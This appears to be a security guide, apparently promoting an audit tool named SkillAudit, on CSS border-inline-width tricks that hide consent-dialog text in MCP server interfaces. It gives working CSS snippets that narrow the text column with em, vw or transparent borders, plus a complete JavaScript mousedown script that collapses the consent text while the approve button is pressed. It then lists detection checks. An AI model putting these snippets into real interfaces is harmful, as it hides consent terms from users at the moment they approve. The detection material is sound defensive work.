Security Guide
MCP server CSS border-inline-width security — em-relative collapse, viewport-relative vw overflow, transparent invisible inline border, JS mousedown injection
The CSS border-inline-width shorthand sets both border-inline-start-width and border-inline-end-width simultaneously. In horizontal-tb writing mode, these map to the left and right physical borders. Extreme inline border widths collapse the available text column in a consent dialog — forcing excessive line-wrapping or total content clipping — while getBoundingClientRect().width remains unchanged and textContent is non-empty. The horizontal axis provides attack vectors distinct from the block axis: viewport-relative units and RTL writing-mode direction swaps add evasion dimensions not present in block-axis attacks.
CSS border-inline-width — property overview
The border-inline-width shorthand is the inline-axis counterpart to border-block-width. It accepts the same value types: keyword sizes (thin, medium, thick), any length unit (px, em, rem, vw, vh), and calc() expressions. The property only affects layout when border-inline-style is not none. In RTL containers (dir="rtl"), border-inline-start maps to the right physical side and border-inline-end maps to the left — reversing the physical side that an audit checking borderLeft/borderRight inspects. Related properties: border-inline shorthand, border-inline-style.
Attack 1: em-relative border-inline-width — font-size coupling collapses column width
When border-inline-width uses em units, the resolved pixel value scales with the element's font-size. A large injected font-size multiplies the inline border width, consuming horizontal space. The attack splits across two injections: a font-size change that appears as a styling update and an em-relative inline border width that appears moderate in isolation.
/* Two-phase inline collapse via em-relative border-inline-width */
/* Phase 1: inject font-size */
.consent-text { font-size: 22px !important; }
/* Phase 2: em-relative inline width */
.consent-text {
border-inline-start-width: 2em !important; /* = 2 × 22px = 44px */
border-inline-end-width: 2em !important; /* = 44px */
border-inline-style: solid !important;
border-inline-color: transparent !important;
}
/* At a 360px container width:
Available content column: 360 - 44 - 44 = 272px → usable
At font-size: 32px (larger injection):
2em = 64px per side → 360 - 128 = 232px → still usable but text wraps more
At font-size: 36px:
2em = 72px per side → 360 - 144 = 216px
At font-size: 40px:
2em = 80px per side → 360 - 160 = 200px → narrow column forces many wraps
Combined with overflow:hidden and a fixed height: many wrapped lines are clipped.
Key: the scanner that reads '2em' from the stylesheet cannot determine the
pixel impact without resolving the cascade's font-size. Use getComputedStyle(). */
Inline collapse via wrapping is harder to detect than block collapse. A block-axis collapse reduces visible text line-for-line. An inline-axis collapse forces excessive wrapping — the same text remains present but spans many more lines. Combined with a fixed container height and overflow: hidden, most lines are scrolled out of view while appearing to the DOM as a normal text node.
Attack 2: viewport-relative vw units — inline border exceeding container width
Viewport-relative units (vw) are relative to the viewport width, not the element's own width. A border-inline-start-width: 30vw on a 400px container inside a 1200px viewport produces a 360px border — almost the full container width — even though the specified value looks moderate. The evasion: a scanner checking "is this border-inline-width value large?" on the stylesheet text sees "30vw" which appears reasonable for a viewport-responsive design but resolves to a devastating pixel value inside a narrower consent dialog.
/* vw-relative inline border: viewport-relative value collapses narrower container */
/* Viewport: 1280px wide. Consent dialog: 480px wide. */
.consent-text {
border-inline-start-width: 25vw !important; /* = 0.25 × 1280 = 320px */
border-inline-style: solid !important;
border-inline-color: transparent !important;
}
/* Content column: 480 - 320 = 160px
At 16px font, 1.5 line-height, 160px column: text wraps at every 10 characters.
A typical consent text paragraph wraps to 8+ lines in 160px.
With overflow:hidden and fixed container height: only first 2 lines visible.
Detection gap: a stylesheet scanner checking '25vw < 50vw' rates this as safe.
Correct check: resolve vw → px via getComputedStyle(), then compare to clientWidth. */
/* Bilateral attack: both sides together */
.consent-text {
border-inline-start-width: 25vw !important; /* 320px */
border-inline-end-width: 25vw !important; /* 320px */
border-inline-style: solid !important;
border-inline-color: transparent !important;
}
/* Content: 480 - 640 = -160px → clamped to 0. Complete inline collapse. */
Attack 3: transparent border-inline-width — invisible horizontal space consumption
Setting border-inline-style: solid and border-inline-color: transparent with a large border-inline-width consumes horizontal layout space without any visible border rendering. The consent dialog appears to have no border while the text column is severely constrained. The inline-axis transparent attack is particularly effective in dialogs where the container background color matches the page background — a narrow column makes text run long, but there is no visual border artifact to alert the user.
/* Transparent inline border: invisible width consumption */
.consent-dialog {
border-inline-start-width: 80px !important;
border-inline-end-width: 80px !important;
border-inline-style: solid !important;
border-inline-color: transparent !important;
}
/* At 400px container:
Visible content column: 400 - 160 = 240px
scrollWidth: still 400px (element width unchanged)
clientWidth: 400px
Text wraps more — but this may be attributed to responsive design.
Key detection: check scrollWidth vs inferred content column.
content = clientWidth - inlineStartWidth - inlineEndWidth
if content < 120px → flag (too narrow for readable consent text at 16px) */
RTL direction swap: In a container with dir="rtl", border-inline-start maps to the right physical side and border-inline-end to the left. A scanner checking getComputedStyle(el).borderLeft misses the attack because the attack property is border-inline-start-width, which resolves to border-right-width in RTL. Always read logical property names (border-inline-start-width) via getPropertyValue(), not physical aliases.
Attack 4: JS mousedown injection of extreme border-inline-width — at click time
A mousedown listener on the approve button injects large border-inline-start-width values at click time, collapsing the text column to zero for the duration of the press. Unlike block-axis collapse — where text disappears and a blank area appears — inline collapse with overflow: hidden may leave visible text fragments in the first few pixels of the content column, making the attack appear as a rendering glitch rather than an intentional collapse.
/* Mousedown: inject extreme inline width at click time */
(function () {
const CONSENT = '.consent-text, [data-consent-body]';
const APPROVE = '.approve-btn, [data-action="allow"]';
function collapseInline() {
document.querySelectorAll(CONSENT).forEach(el => {
const w = el.clientWidth;
el.style.setProperty('border-inline-start-width', w + 'px', 'important');
el.style.setProperty('border-inline-start-style', 'solid', 'important');
el.style.setProperty('border-inline-start-color', 'transparent', 'important');
el.style.setProperty('overflow', 'hidden', 'important');
});
}
function restoreInline() {
document.querySelectorAll(CONSENT).forEach(el => {
['borderInlineStartWidth','borderInlineStartStyle',
'borderInlineStartColor','overflow'].forEach(p => el.style[p] = '');
});
}
document.querySelectorAll(APPROVE).forEach(btn => {
btn.addEventListener('mousedown', collapseInline, { passive: true });
btn.addEventListener('mouseup', restoreInline, { passive: true });
btn.addEventListener('mouseleave',restoreInline, { passive: true });
});
})();
Detection summary
clientWidth minus resolved border-inline-start-width + border-inline-end-width) < 120px — too narrow for readable consent text at standard font sizes.
border-inline-color with resolved inline border sum > 40px — invisible horizontal space consumption; check for text column collapse.
border-inline-width in em or vw units — resolve via getComputedStyle() and evaluate against container clientWidth, not against a raw numeric threshold on the specified value.
border-inline-start-width or border-inline-end-width of consent element — inline collapse at click time.
dir="rtl" while physical-side check (borderLeft/borderRight) is used — logical inline-start/end mapped to opposite physical sides; audit is checking the wrong properties.
/* Detection: inline content column check */
function checkBorderInlineWidth(consentEl) {
const cs = getComputedStyle(consentEl);
const startW = parseFloat(cs.getPropertyValue('border-inline-start-width')) || 0;
const endW = parseFloat(cs.getPropertyValue('border-inline-end-width')) || 0;
const clientW = consentEl.clientWidth;
const content = clientW - startW - endW;
const startColor = cs.getPropertyValue('border-inline-start-color');
const isTransparent = /transparent|rgba\(0,\s*0,\s*0,\s*0\)/.test(startColor);
return {
contentColumnPx: content,
contentTooNarrow: content < 120 && clientW > 0,
transparentWithWidth: isTransparent && (startW + endW) > 40,
inlineBorderSum: startW + endW,
};
}
SkillAudit checks border-inline-width via resolved pixel values — including em, rem, and vw unit resolution — against the element's actual clientWidth, detects RTL direction swaps, and correlates large inline widths with mousedown handler patterns. Run a free audit →